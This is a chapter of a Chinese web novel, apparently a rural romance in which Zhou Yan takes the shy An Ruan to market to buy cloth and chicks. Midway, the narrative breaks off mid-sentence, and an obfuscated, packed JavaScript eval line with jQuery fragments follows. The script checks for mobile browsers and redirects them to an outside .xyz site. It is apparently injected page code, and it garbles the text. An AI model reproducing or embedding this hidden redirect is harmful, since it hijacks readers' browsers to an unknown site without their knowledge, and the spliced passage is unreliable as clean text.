两人离开馄饨摊时已经过了辰时,此时的街道上全是来来往往的,背着背篓来赶集的人。
安阮生得瘦弱矮小,往人群里一挤,瞬间就被淹没了。
周言很自然的牵起他的手:“人太多了,这样不怕走丢。”
安阮手一抖,吓了一跳,但到底是忍住了将手抽回来的冲动。
镇上他也没来过,人生地不熟的,加上人确实太多了,如果不小心走丢,到时候肯定会很麻烦。
安软害怕会给周言添麻烦,更害怕遇到那些拐卖夫郎的人牙子,再也回不去周家。
七婶家的夫郎就是被拐了,好几年都没找着人。
一想到这事儿,安阮下意识就往周言身边靠了靠,好像这样能让他获取更多的安全感。
周言一顿,还以为他是怕被挤到,脚下一转就转到了他身后,护着他挤开人群往集市里走。
不似之前他们去的那条专门摆摊的街,集市里多是商铺饭馆,偶尔能见到扛着草垛卖糖葫芦的,也有在路边上支个小摊卖糖画的,还有用箩筐装着鸡鸭蛋叫卖的,好不热闹。
安阮好奇的东张西望,周围的一切对他来说都十分稀奇。
“小心!”
一个扎着冲天辫,一看就锦衣玉食的五岁孩童横冲直撞的拨开安阮,从他身侧跑过,安阮猝不及防,被惊得一个踉跄,得亏周言反应快一手扣圈着他细腰,杜绝了他摔倒被人踩踏可能。
“少爷跑慢些,小心摔倒了!”
追着孩童的婆子火急火燎的,从两人身边过时,一个眼神都没给他们。
安阮后脑勺枕着周言那硬邦邦的胸肌,整个人都被周言圈在了怀里。
两个人之间严丝合缝,一点缝隙都没有,明明隔着几层布料,安阮却好似感受到了周言那高热的体温,连带将他身上也烧的发烫。
他挣扎了一下,周言立马就松了手将他放了开来。
安阮后退了一步,低着头目光散乱。
他低声说了谢谢。
“没事吧?伤着哪儿了吗?”
周言一直盯着他,似乎不太放心,搭着他肩膀就要拎着他转一圈仔细瞧瞧。
安阮连忙摇头道:“没事没事,我没伤着。”
周言看出了他的不自在,悻悻的收回手。
他主动转移了话题:“走吧,还得去买东西。”
安阮不知道要买什么,但他没有多问,而是乖乖的点头说了好。
为免安阮再次被撞,周言这回走到了他前面,紧紧的握着他的手,为他挡去拥挤的人流。
安阮仰头看着他高大的背影,心中五味杂陈。
周言近来的一举一动让他很难不多想,但因为之前投怀送抱被拒,他不敢想更不敢自作多情。
周言并不喜欢他,只是碍于朱莲花的面子,还有那花出去的十两银子罢了。
安阮失落的叹了一口气,很快收拾好了情绪。
他再次东张西望着,以此来分散注意力。
他看到一个扛着插满了糖葫芦的草垛,迎面走来卖力的叫卖着的老爷爷,不由得多看了两眼。
那糖葫芦红彤彤的,一看就很好吃。
安阮从没吃过糖葫芦,倒是前两年爹爹给他弟弟买回来过一串,弟弟吃得满嘴糖霜,他却只能在一旁眼巴巴的看着。
朱莲花给了他十文钱当零花钱,说是让他喜欢买什么就买,但安阮不会将这钱用来买糖葫芦这种不实用的东西。
他想买几只鸡苗回家养着,日后鸡生了蛋,他就能拿去换钱了。
某种程度上来说,他的想法和周言不谋而合,只是周言想的是等鸡生蛋了给吃补补身子,他想的是卖钱。
周言带着安阮走到了一间裁缝店。
店掌柜笑容满面的走了出来,他在两人身上扫了一圈,思索了片刻,对着安阮道:“客官是要买布还是买成衣?小店里什么都有,价格实惠童叟无欺,两位不嫌弃可以进里头瞧瞧去。”
安阮没想到掌柜居然会跟他说话,他慌乱无无措的仰头看向周言,不知如何是好。
周言安抚的拍了拍他肩膀,转头对掌柜说:“我想买两匹麻布。”
成衣价格高昂,哪怕只是一套麻布衣都要十几文钱,往好了去的棉布衣或是绫罗绸缎更是价格高昂。
葛布倒是便宜,但是易坏又不耐脏。
寻常人家一人有一身麻布衣都算是好的了,周言张口就要两匹麻布,对掌柜而言可是个不可多得的大单子。
“好好好,客官跟我来。”
他脸上笑出了褶子,连忙招呼着两人往里走去。
布匹整整齐齐的放在了一块大木板上,周言看了几眼,选出了一匹蓝色的,之后来来回回找了一圈,不太满意。
掌柜也是个会看人脸色的,他连忙上前道:“小店后院里还有其他布匹,什么颜色都有,客官可以跟我说说想要那种颜色,我去找来。”
周言想了想,道:“有红色吗?”
等合了八字选好黄道吉日,到时候成亲肯定还是要有一身红衣穿着才喜庆。
“有的有的。”
掌柜说着转身往后院去了,没过多久就抱着一匹麻布布匹出来。
这匹麻布并不是纯正的红色,而是带了一点橘色的橘红,瞧着喜庆又活力满满的。
周言看了看料子,又抬眸看了安阮一眼,直觉这橘红色穿到他身上应当会很好看。
他满意的点头:“就这两匹了。”
两匹布加起来一共花了五十文,加上吃馄饨的八文钱,今日卖野兔山货的钱一下就只剩一百九十文了。
安阮觉得有些肉疼,这布匹好贵啊。
虽然心疼钱,但他也不敢提。
他只当这布买回去是给周家人添新衣的,低头看了一眼自己身上打满了补丁的衣服,自卑之余心里也寻思着不知道能不能捡一件他们不要的旧衣裳来穿。
安阮来周家一点准备都没有,全身上下也就这身旧衣裳是他自己的,连个换洗的都没有,而他后娘也不会给他送衣裳过来。
这几天安阮都苦恼着怎么换衣裳,他又不敢开口跟周言提,如今倒是有了着落。
买完了布匹以后,周言又带着他继续往集市里转,最后停在了一个卖鸡鸭苗的摊子前。
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533163|170862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只只毛茸茸的黄团子在箩筐里挤动,叽叽喳喳的,瞧着就很健康有活力。
安阮有些惊讶:“这是要买鸡回去养吗?”
周言点头嗯了一声:“院子东边外头有一块空地,索性空着也是空着,不如养上一些鸡鸭,等长大了好下蛋。”
安阮闻言犹豫了一下,他咬着下唇,小心翼翼的说:“娘给了我十文钱,说让我想买什么就买什么,你不会收回去吧?”
“当然不会,娘给你的就是你的。你为什么要怕我会拿走?”
十文钱是朱莲花当着面儿给安阮的,周言自然知道,他只是不解安阮为什么会这么说。
得到了肯定的答案,安阮松了一口气,他又问周言:“我可以用这十文钱买几只鸡苗吗?你放心,我会自己想办法养着的,绝对不会用家里的粮食来喂。”
他怕周言会误会,再三保证着。
周言脸色有些不好看,但却不是生气他要买鸡苗,而是不喜欢安阮这番划清界限的话语。
安阮一直观察着他的脸色,还以为自己的要求太过分惹他不高兴了,赶紧怯生生的道歉。
大大的杏眼耷拉着,眼底的光也变得黯淡了起来,瞧着好不可怜。
周言感觉自己成了那十恶不赦的坏人,他叹了一口气,解释道:“没有不让你买的意思,只是我本就打算买鸡苗来给你养,你若是也买的话,一次养太多我怕你照顾不过来。”
“娘给你的铜板你就好好收着,拿去买其他的,或是留着自己兜着底儿,也不至于手里没个银钱。”
周言是个沉默寡言的性子,少有说这么多话的时候,他哄着安阮,倒也不觉得自己话说多了。
而安阮则是整个人都愣住了,他微张着嘴,好半晌才消化了周言所说的话里的意思。
“你是说,你要买鸡苗给我养?”
“不是给娘的?”
周言哑然:“自然是买给你的,娘她不喜欢伺候鸡鸭,嫌麻烦也嫌脏。”
惊喜来得太突然,安阮不知道该说什么好,他从未想过自己竟然也能拥有鸡鸭。
“可是……用家里的钱买鸡苗给我养,娘和爹会不会不高兴?”
他还是感到不敢置信,然后就是没来由的担忧。
村里家家户户都没什么余钱,日子过的十分拮据,时常有揭不开锅的时候,若是养着有鸡鸭,先不说鸡鸭能卖钱,就是那鸡鸭蛋也能换不少铜板回来补贴一下家用。
哪家养着有鸡鸭那可都宝贝着呢。
就像他后娘那两只母鸡,他平日里除了喂食的时候,是碰都碰不得的,下的蛋更是没他什么事儿。
朱莲花对他很好,但涉及到钱银的方面,安阮不知道她还会不会不计较。
周言道:“你尽管放心,娘不会说什么的。”
话到这个份上,安阮也不好再说什么,他只能感激的说:“谢谢你,我一定会好好养的。”
安阮那双大大的杏眼再次铺满了星光,亮晶晶的,带着些许朦胧的水雾。
周言瞧着只觉得心尖被羽毛扫了扫,他忍了忍,还是没忍住,抬手按在安阮仍有些粗糙干枯的头发上。